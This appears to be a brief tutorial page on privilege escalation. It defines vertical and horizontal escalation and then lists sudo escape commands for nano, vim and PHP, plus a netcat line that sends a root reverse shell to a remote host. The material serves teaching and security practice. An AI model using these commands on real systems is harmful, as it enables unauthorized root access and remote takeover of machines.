Privilege Escalation¶

What is¶

Privilege Escalation: [ How it Works ]

Privilege escalation is the act of exploiting a bug, a design flaw, or a configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user.

The result is that an application with more privileges than intended by the application developer or system administrator can perform unauthorized actions.

Vertical privilege escalation, also known as privilege elevation, where a lower privilege user or application accesses functions or content reserved for higher privilege users or applications (e.g. Internet Banking users can access site administrative functions or the password for a smartphone can be bypassed).

Horizontal privilege escalation, where a normal user accesses functions or content reserved for other normal users (e.g. Internet Banking User A accesses the Internet bank account of User B)

Important

Attention

You should`t access any machine that you are not allowed to do that.

Examples¶

some examples with nano:
   sudo nano
    ^R^X
      reset; sh 1>&0 2>&0

with vim:
   sudo vim -c ':!/bin/sh'

abusing php:
   CMD="/bin/sh"
    sudo php -r "system('$CMD');"

abusing netcat:
   sudo nc -e /bin/sh $RHOST $RPORT

whoami:
   root
   game over